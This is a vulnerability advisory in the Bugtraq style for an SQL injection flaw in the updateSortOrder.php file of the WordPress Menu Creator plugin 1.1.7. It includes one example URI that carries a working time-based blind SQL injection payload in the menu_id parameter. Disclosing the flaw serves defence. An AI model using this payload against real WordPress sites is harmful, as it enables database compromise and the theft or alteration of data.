WordPress Menu Creator Plugin 'updateSortOrder.php' SQL Injection Vulnerability

Bugtraq ID:	49231
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 18 2011 12:00AM
Updated:	Aug 18 2011 12:00AM
Credit:	Miroslav Stampar
Vulnerable:	WordPress Menu Creator 1.1.7
Not Vulnerable:

WordPress Menu Creator Plugin 'updateSortOrder.php' SQL Injection Vulnerability

The Menu Creator plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Menu Creator 1.1.7 is vulnerable; other versions may also be affected.

WordPress Menu Creator Plugin 'updateSortOrder.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/wp-content/plugins/wp-menu-creator/updateSortOrder.php?menu_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

WordPress Menu Creator Plugin 'updateSortOrder.php' SQL Injection Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].

WordPress Menu Creator Plugin 'updateSortOrder.php' SQL Injection Vulnerability

References:

• Menu Creator Homepage (WordPress)
  
• WordPress Homepage (WordPress)